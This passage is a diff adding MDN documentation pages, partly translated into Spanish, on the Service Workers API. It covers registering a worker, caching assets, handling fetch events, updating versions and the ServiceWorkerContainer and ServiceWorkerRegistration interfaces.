+ You can see the <a href="https://github.com/mdn/sw-test/">source code on GitHub</a>, and <a href="https://mdn.github.io/sw-test/">view the example live</a>. The one bit we’ll call out here is the promise (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47">app.js lines 22-47</a>), which is a modified version of what you read about above, in the <a href="https://github.com/mdn/promises-test">Promises test demo</a>. It is different in the following ways:</p>
+
+<ol>
+ <li>In the original, we only passed in a URL to an image we wanted to load. In this version, we pass in a JSON fragment containing all the data for a single image (see what they look like in <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). This is because all the data for each promise resolve has to be passed in with the promise, as it is asynchronous. If you just passed in the url, and then tried to access the other items in the JSON separately when the <code>for()</code> loop is being iterated through later on, it wouldn’t work, as the promise wouldn’t resolve at the same time as the iterations are being done (that is a synchronous process.)</li>
+ <li>We actually resolve the promise with an array, as we want to make the loaded image blob available to the resolving function later on in the code, but also the image name, credits and alt text (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L31-L34">app.js lines 31-34</a>). Promises will only resolve with a single argument, so if you want to resolve with multiple values, you need to use an array/object.</li>
+ <li>To access the resolved promise values, we then access this function as you’d then expect (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64">app.js lines 60-64</a>). This may seem a bit odd at first, but this is the way promises work.</li>
+</ol>
+
+<h2 id="Enter_service_workers">Enter service workers</h2>
+
+<p>Now let’s get on to service workers!</p>
+
+<h3 id="Registering_your_worker">Registering your worker</h3>
+
+<p>The first block of code in our app’s JavaScript file — <code>app.js</code> — is as follows. This is our entry point into using service workers.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', {scope: '/sw-test/'})
+  .then(function(reg) {
+    // registration worked
+    console.log('Registration succeeded. Scope is ' + reg.scope);
+  }).catch(function(error) {
+    // registration failed
+    console.log('Registration failed with ' + error);
+  });
+}</pre>
+
+<ol>
+ <li>The outer block performs a feature detection test to make sure service workers are supported before trying to register one.</li>
+ <li>Next, we use the {{domxref("ServiceWorkerContainer.register()") }} function to register the service worker for this site, which is just a JavaScript file residing inside our app (note this is the file's URL relative to the origin, not the JS file that references it.)</li>
+ <li>The <code>scope</code> parameter is optional, and can be used to specify the subset of your content that you want the service worker to control. In this case, we have specified '<code>/sw-test/'</code>, which means all content under the app's origin. If you leave it out, it will default to this value anyway, but we specified it here for illustration purposes.</li>
+ <li>The <code>.then()</code> promise function is used to chain a success case onto our promise structure.  When the promise resolves successfully, the code inside it executes.</li>
+ <li>Finally, we chain a <code>.catch()</code> function onto the end that will run if the promise is rejected.</li>
+</ol>
+
+<p>This registers a service worker, which runs in a worker context, and therefore has no DOM access. You then run code in the service worker outside of your normal pages to control their loading.<br>
+ <br>
+ A single service worker can control many pages. Each time a page within your scope is loaded, the service worker is installed against that page and operates on it. Bear in mind therefore that you need to be careful with global variables in the service worker script: each page doesn’t get its own unique worker.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Your service worker functions like a proxy server, allowing you to modify requests and responses, replace them with items from its own cache, and more.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: One great thing about service workers is that if you use feature detection like we’ve shown above, browsers that don’t support service workers can just use your app online in the normal expected fashion. Furthermore, if you use AppCache and SW on a page, browsers that don’t support SW but do support AppCache will use that, and browsers that support both will ignore the AppCache and let SW take over.</p>
+</div>
+
+<h4 id="Why_is_my_service_worker_failing_to_register">Why is my service worker failing to register?</h4>
+
+<p>This could be for the following reasons:</p>
+
+<ol>
+ <li>You are not running your application through HTTPS.</li>
+ <li>The path to your service worker file is not written correctly — it needs to be written relative to the origin, not your app’s root directory. In our example, the worker is at <code>https://mdn.github.io/sw-test/sw.js</code>, and the app’s root is <code>https://mdn.github.io/sw-test/</code>. But the path needs to be written as <code>/sw-test/sw.js</code>, not <code>/sw.js</code>.</li>
+ <li>The service worker being pointed to is on a different origin to that of your app. This is also not allowed.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12630/important-notes.png" style="display: block; height: 277px; margin: 0px auto; width: 574px;"></p>
+
+<p>Also note:</p>
+
+<ul>
+ <li>The service worker will only catch requests from clients under the service worker's scope.</li>
+ <li>The max scope for a service worker is the location of the worker.</li>
+ <li>If your server worker is active on a client being served with the <code>Service-Worker-Allowed</code> header, you can specify a list of max scopes for that worker.</li>
+ <li>In Firefox, Service Worker APIs are hidden and cannot be used when the user is in <a href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">private browsing mode</a>.</li>
+</ul>
+
+<h3 id="Install_and_activate_populating_your_cache">Install and activate: populating your cache</h3>
+
+<p>After your service worker is registered, the browser will attempt to install then activate the service worker for your page/site.<br>
+ <br>
+ The install event is fired when an install is successfully completed. The install event is generally used to populate your browser’s offline caching capabilities with the assets you need to run your app offline. To do this, we use Service Worker’s brand new storage API — {{domxref("cache")}} — a global on the service worker that allows us to store assets delivered by responses, and keyed by their requests. This API works in a similar way to the browser’s standard cache, but it is specific to your domain. It persists until you tell it not to — again, you have full control.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The Cache API is not supported in every browser. (See the {{anch("Browser support")}} section for more information.) If you want to use this now, you could consider using a polyfill like the one available in <a href="https://github.com/Polymer/topeka/blob/master/sw.js">Google's Topeka demo</a>, or perhaps store your assets in <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+</div>
+
+<p>Let’s start this section by looking at a code sample — this is the <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L18">first block you’ll find in our service worker</a>:</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});</pre>
+
+<ol>
+ <li>Here we add an <code>install</code> event listener to the service worker (hence <code>this</code>), and then chain a {{domxref("ExtendableEvent.waitUntil()") }} method onto the event — this ensures that the service worker will not install until the code inside <code>waitUntil()</code> has successfully occurred.</li>
+ <li>Inside <code>waitUntil()</code> we use the <a href="/en-US/docs/Web/API/CacheStorage/open"><code>caches.open()</code></a> method to create a new cache called <code>v1</code>, which will be version 1 of our site resources cache. This returns a promise for a created cache; once resolved, we then call a function that calls <code>addAll()</code> on the created cache, which for its parameter takes an array of origin-relative URLs to all the resources you want to cache.</li>
+ <li>If the promise is rejected, the install fails, and the worker won’t do anything. This is ok, as you can fix your code and then try again the next time registration occurs.</li>
+ <li>After a successful installation, the service worker activates. This doesn’t have much of a distinct use the first time your service worker is installed/activated, but it means more when the service worker is updated (see the {{anch("Updating your service worker") }} section later on.)</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> works in a similar way to service worker cache, but it is synchronous, so not allowed in service workers.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> can be used inside a service worker for data storage if you require it.</p>
+</div>
+
+<h3 id="Custom_responses_to_requests">Custom responses to requests</h3>
+
+<p>Now you’ve got your site assets cached, you need to tell service workers to do something with the cached content. This is easily done with the <code>fetch</code> event.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12634/sw-fetch.png" style="display: block; margin: 0 auto;"></p>
+
+<p>A <code>fetch</code> event fires every time any resource controlled by a service worker is fetched, which includes the documents inside the specified scope, and any resources referenced in those documents (for example if <code>index.html</code> makes a cross origin request to embed an image, that still goes through its service worker.)</p>
+
+<p>You can attach a <code>fetch</code> event listener to the service worker, then call the <code>respondWith()</code> method on the event to hijack our HTTP responses and update them with your own magic.</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    // magic goes here
+  );
+});</pre>
+
+<p>We could start by simply responding with the resource whose url matches that of the network request, in each case:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request)
+  );
+});</pre>
+
+<p><code>caches.match(event.request)</code> allows us to match each resource requested from the network with the equivalent resource available in the cache, if there is a matching one available. The matching is done via url and vary headers, just like with normal HTTP requests.</p>
+
+<p>Let’s look at a few other options we have when defining our magic (see our <a href="/en-US/docs/Web/API/Fetch_API">Fetch API documentation</a> for more information about {{domxref("Request")}} and {{domxref("Response")}} objects.)</p>
+
+<ol>
+ <li>
+  <p>The <code>{{domxref("Response.Response","Response()")}}</code> constructor allows you to create a custom response. In this case, we are just returning a simple text string:</p>
+
+  <pre class="brush: js">new Response('Hello from your friendly neighbourhood service worker!');</pre>
+ </li>
+ <li>
+  <p>This more complex <code>Response</code> below shows that you can optionally pass a set of headers in with your response, emulating standard HTTP response headers. Here we are just telling the browser what the content type of our synthetic response is:</p>
+
+  <pre class="brush: js">new Response('&lt;p&gt;Hello from your friendly neighbourhood service worker!&lt;/p&gt;', {
+  headers: { 'Content-Type': 'text/html' }
+});</pre>
+ </li>
+ <li>
+  <p>If a match wasn’t found in the cache, you could tell the browser to simply {{domxref("GlobalFetch.fetch","fetch")}} the default network request for that resource, to get the new resource from the network if it is available:</p>
+
+  <pre class="brush: js">fetch(event.request);</pre>
+ </li>
+ <li>
+  <p>If a match wasn’t found in the cache, and the network isn’t available, you could just match the request with some kind of default fallback page as a response using {{domxref("CacheStorage.match","match()")}}, like this:</p>
+
+  <pre class="brush: js">caches.match('/fallback.html');</pre>
+ </li>
+ <li>
+  <p>You can retrieve a lot of information about each request by calling parameters of the {{domxref("Request")}} object returned by the {{domxref("FetchEvent")}}:</p>
+
+  <pre class="brush: js">event.request.url
+event.request.method
+event.request.headers
+event.request.body</pre>
+ </li>
+</ol>
+
+<h2 id="Recovering_failed_requests">Recovering failed requests</h2>
+
+<p>So <code>caches.match(event.request)</code> is great when there is a match in the service worker cache, but what about cases when there isn’t a match? If we didn’t provide any kind of failure handling, our promise would resolve with <code>undefined</code> and we wouldn't get anything returned.</p>
+
+<p>Fortunately service workers’ promise-based structure makes it trivial to provide further options towards success. We could do this:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      return response || fetch(event.request);
+    })
+  );
+});</pre>
+
+<p>If the resources isn't in the cache, it is requested from the network.</p>
+
+<p>If we were being really clever, we would not only request the resource from the network; we would also save it into the cache so that later requests for that resource could be retrieved offline too! This would mean that if extra images were added to the Star Wars gallery, our app could automatically grab them and cache them. The following would do the trick:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(resp) {
+      return resp || fetch(event.request).then(function(response) {
+        return caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<p>Here we return the default network request with <code>return fetch(event.request)</code>, which returns a promise. When this promise is resolved, we respond by running a function that grabs our cache using <code>caches.open('v1')</code>; this also returns a promise. When that promise resolves, <code>cache.put()</code> is used to add the resource to the cache. The resource is grabbed from <code>event.request</code>, and the response is then cloned with <code>response.clone()</code> and added to the cache. The clone is put in the cache, and the original response is returned to the browser to be given to the page that called it.</p>
+
+<p>Cloning the response is necessary because request and response streams can only be read once.  In order to return the response to the browser and put it in the cache we have to clone it. So the original gets returned to the browser and the clone gets sent to the cache.  They are each read once.</p>
+
+<p>The only trouble we have now is that if the request doesn’t match anything in the cache, and the network is not available, our request will still fail. Let’s provide a default fallback so that whatever happens, the user will at least get something:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(resp) {
+      return resp || fetch(event.request).then(function(response) {
+        caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+        });
+        return response;
+      });
+    }).catch(function() {
+      return caches.match('/sw-test/gallery/myLittleVader.jpg');
+    })
+  );
+});</pre>
+
+<p>We have opted for this fallback image because the only updates that are likely to fail are new images, as everything else is depended on for installation in the <code>install</code> event listener we saw earlier.</p>
+
+<h2 id="Updating_your_service_worker"><a id="Updating your service worker" name="Updating your service worker">Updating your service worker</a></h2>
+
+<p>If your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated. It is only activated when there are no longer any pages loaded that are still using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates.</p>
+
+<p>You’ll want to update your <code>install</code> event listener in the new service worker to something like this (notice the new version number):</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v2').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+
+        …
+
+        // include other new resources for the new version...
+      ]);
+    })
+  );
+});</pre>
+
+<p>While this happens, the previous version is still responsible for fetches. The new version is installing in the background. We are calling the new cache <code>v2</code>, so the previous <code>v1</code> cache isn't disturbed.</p>
+
+<p>When no pages are using the current version, the new worker activates and becomes responsible for fetches.</p>
+
+<h3 id="Deleting_old_caches">Deleting old caches</h3>
+
+<p>You also get an <code>activate</code> event. This is a generally used to do stuff that would have broken the previous version while it was still running, for example getting rid of old caches. This is also useful for removing data that is no longer needed to avoid filling up too much disk space — each browser has a hard limit on the amount of cache storage that a given service worker can use. The browser does its best to manage disk space, but it may delete the Cache storage for an origin.  The browser will generally delete all of the data for an origin or none of the data for an origin.</p>
+
+<p>Promises passed into <code>waitUntil()</code> will block other events until completion, so you can rest assured that your clean-up operation will have completed by the time you get your first <code>fetch</code> event on the new cache.</p>
+
+<pre class="brush: js">this.addEventListener('activate', function(event) {
+  var cacheWhitelist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then(function(keyList) {
+      return Promise.all(keyList.map(function(key) {
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});</pre>
+
+<h2 id="Developer_tools">Developer tools</h2>
+
+<p>Chrome has <code>chrome://inspect/#service-workers</code>, which shows current service worker activity and storage on a device, and <code>chrome://serviceworker-internals</code>, which shows more detail and allows you to start/stop/debug the worker process. In the future they will have throttling/offline modes to simulate bad or non-existent connections, which will be a really good thing.</p>
+
+<p>Firefox has also started to implement some useful tools related to service workers:</p>
+
+<ul>
+ <li>You can navigate to <code><a href="/en-US/docs/Tools/about:debugging">about:debugging</a></code> to see what SWs are registered and update/remove them.</li>
+ <li>When testing you can get around the HTTPS restriction by checking the "Enable Service Workers over HTTP (when toolbox is open)" option in the <a href="/en-US/docs/Tools/Settings">Firefox Developer Tools settings</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: You may serve your app from <code>http://localhost</code> (e.g. using <code>me@localhost:/my/app$ <strong>python -m SimpleHTTPServer</strong></code>) for local development. See <a href="https://www.w3.org/TR/service-workers/#security-considerations">Security considerations</a></p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("33.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs/">The Service Worker Cookbook</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>Download the <a href="https://mdn.mozillademos.org/files/12638/sw101.png">Service Workers 101 cheatsheet</a>.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/es/web/api/serviceworkercontainer/index.html b/files/es/web/api/serviceworkercontainer/index.html
new file mode 100644
index 0000000000..36eca36006
--- /dev/null
+++ b/files/es/web/api/serviceworkercontainer/index.html
@@ -0,0 +1,127 @@
+---
+title: ServiceWorkerContainer
+slug: Web/API/ServiceWorkerContainer
+tags:
+  - API
+  - Draft
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorkerContainer
+  - TopicStub
+  - Workers
+translation_of: Web/API/ServiceWorkerContainer
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">The <code>ServiceWorkerContainer</code> interface of the <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> provides an object representing the service worker as an overall unit in the network ecosystem, including facilities to register, unregister and update service workers, and access the state of service workers and their registrations.</span></p>
+
+<p>Most importantly, it exposes the {{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register()")}} method used to register service workers, and the {{domxref("ServiceWorkerContainer.controller")}} property used to determine whether or not the current page is actively controlled.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.controller")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("ServiceWorker")}} object if its state is <code>activated</code> (the same object returned by {{domxref("ServiceWorkerRegistration.active")}}). This property returns <code>null</code> during a force-refresh request (<em>Shift</em> + refresh) or if there is no active worker.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.ready")}} {{readonlyinline}}</dt>
+ <dd>Provides a way of delaying code execution until a service worker is active. It returns a {{jsxref("Promise")}} that will never reject, and which waits indefinitely until the {{domxref("ServiceWorkerRegistration")}} associated with the current page has an {{domxref("ServiceWorkerRegistration.active")}} worker. Once that condition is met, it resolves with the {{domxref("ServiceWorkerRegistration")}}.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.oncontrollerchange")}}</dt>
+ <dd>Fired whenever a {{Event("controllerchange")}} event occurs — when the document's associated {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active","active")}} worker.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.onerror")}}</dt>
+ <dd>Fired whenever an {{Event("error")}} event occurs in the associated service workers.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.onmessage")}}</dt>
+ <dd>Fired whenever a {{Event("message")}} event occurs — when incoming messages are received to the {{domxref("ServiceWorkerContainer")}} object (e.g. via a {{domxref("MessagePort.postMessage()")}} call.)</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register()")}} </dt>
+ <dd>Creates or updates a {{domxref("ServiceWorkerRegistration")}} for the given <code>scriptURL</code>.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.getRegistration()")}}</dt>
+ <dd>Gets a {{domxref("ServiceWorkerRegistration")}} object whose scope matches the provided document URL.  If the method can't return a {{domxref("ServiceWorkerRegistration")}}, it returns a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. </dd>
+ <dt>{{domxref("ServiceWorkerContainer.getRegistrations()")}}</dt>
+ <dd>Returns all {{domxref("ServiceWorkerRegistration")}} objects associated with a <code>ServiceWorkerContainer</code> in an array.  If the method can't return {{domxref("ServiceWorkerRegistration")}} objects, it returns a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The example below first checks to see if the browser supports service workers. If supported, the code registers the service worker and determines if the page is actively controlled by the service worker. If it isn't, it prompts the user to reload the page so the service worker can take control. The code also reports any registration failures.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  // Register a service worker hosted at the root of the
+  // site using the default scope.
+  navigator.serviceWorker.register('/sw.js').then(function(registration) {
+    console.log('Service worker registration succeeded:', registration);
+
+    // At this point, you can optionally do something
+    // with registration. See https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration
+  }).catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+
+  // Independent of the registration, let's also display
+  // information about whether the current page is controlled
+  // by an existing service worker, and when that
+  // controller changes.
+
+  // First, do a one-off check if there's currently a
+  // service worker in control.
+  if (navigator.serviceWorker.controller) {
+    console.log('This page is currently controlled by:', navigator.serviceWorker.controller);
+  }
+
+  // Then, register a handler to detect when a new or
+  // updated service worker takes control.
+  navigator.serviceWorker.oncontrollerchange = function() {
+    console.log('This page is now controlled by:', navigator.serviceWorker.controller);
+  };
+} else {
+  console.log('Service workers are not supported.');
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerContainer")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/es/web/api/serviceworkercontainer/register/index.html b/files/es/web/api/serviceworkercontainer/register/index.html
new file mode 100644
index 0000000000..c5b1d3ed8a
--- /dev/null
+++ b/files/es/web/api/serviceworkercontainer/register/index.html
@@ -0,0 +1,92 @@
+---
+title: ServiceWorkerContainer.register()
+slug: Web/API/ServiceWorkerContainer/register
+translation_of: Web/API/ServiceWorkerContainer/register
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p><span class="seoSummary">El método <strong><code>register()</code></strong>de la interfaz {{domxref("ServiceWorkerContainer")}} crea o actualiza un {{domxref("ServiceWorkerRegistration")}} para un <code>scriptURL</code>. dado</span></p>
+
+<p>Si tiene éxito, el registro de un "service worker" relaciona la URL del script proporcionada con un ámbito, que posteriormente se utiliza para la coincidencia de navegación. Puede llamar a este método incondicionalmente desde la página controlada. Es decir, no necesita verificar primero si hay un registro activo.</p>
+
+<p>Existe una confusión frecuente en torno al significado y uso del alcance. Dado que un trabajador de servicio no puede tener un alcance más amplio que su propia ubicación, solo use la opción de ámbito cuando necesite un alcance que sea más estrecho que el predeterminado.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">ServiceWorkerContainer.register(scriptURL, options)
+  .then(function(ServiceWorkerRegistration) { ... });</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>scriptURL</code></dt>
+ <dd>La URL del script de trabajador de servicio.</dd>
+ <dt><code>options</code> <code>{{optional_inline}}</code></dt>
+ <dd>Un objeto que contiene opciones de registro. Las opciones disponibles actualmente son:
+ <ul>
+  <li><code>alcance</code>: {{domxref("USVString")}} representa una URL que define el alcance de registro de un "service worker"; es decir, qué rango de URL puede controlar un "service worker". Esto es generalmente una URL relativa. El valor predeterminado es la URL que obtendría si resolviera './' utilizando la ubicación de la página web como base. No es, como se cree comúnmente, relativo a la ubicación del "service worker". Vea la sección de Ejemplos para más información sobre cómo funciona.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>A {{domxref("Promise")}} that resolves with a {{domxref("ServiceWorkerRegistration")}} object.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>The examples described here should be taken together to get a better understanding of how service workers scope applies to a page.</p>
+
+<p>The following example uses the default value of <code>scope</code> (by omitting it). The service worker in this case will control <code>example.com/index.html</code> as well as pages underneath it, like <code>example.com/product/description.html</code>.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  // Register a service worker hosted at the root of the
+  // site using the default scope.
+  navigator.serviceWorker.register('/sw.js').then(function(registration) {
+    console.log('Service worker registration succeeded:', registration);
+  }).catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}</pre>
+
+<p>The following code, if included in a page at the root of a site, would apply to exactly the same pages as the example above. Remember the scope, when included, uses the page's location as its base. Alternatively, if this code were included in a page at <code>example.com/product/description.html</code>, the scope of <code>'./'</code> would mean that the service worker only applies to resources under <code>example.com/product</code>. If I needed to register a service worker on <code>example.com/product/description.html</code> that applied to all of <code>example.com</code>, I would leave off the scope as above.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  // Register a service worker hosted at the root of the
+  // site using a more restrictive scope.
+  navigator.serviceWorker.register('/sw.js', {scope: './'}).then(function(registration) {
+    console.log('Service worker registration succeeded:', registration);
+  }).catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerContainer.register")}}</p>
+</div>
diff --git a/files/es/web/api/serviceworkerregistration/index.html b/files/es/web/api/serviceworkerregistration/index.html
new file mode 100644
index 0000000000..88f1c3da52
--- /dev/null
+++ b/files/es/web/api/serviceworkerregistration/index.html
@@ -0,0 +1,145 @@
+---
+title: ServiceWorkerRegistration
+slug: Web/API/ServiceWorkerRegistration
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorkerRegistration
+  - TopicStub
+  - Workers
+translation_of: Web/API/ServiceWorkerRegistration
+---
+<div>
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+</div>
+
+<p><span class="seoSummary">The <code>ServiceWorkerRegistration</code> interface of the <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> represents the service worker registration. You register a service worker to control one or more pages that share the same origin.</span></p>
+
+<p>The lifetime of a service worker registration is beyond that of the <code>ServiceWorkerRegistration</code> objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active <code>ServiceWorkerRegistration</code> objects.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This feature is available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Also implements properties from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+	<dt>{{domxref("ServiceWorkerRegistration.scope")}} {{readonlyinline}}</dt>
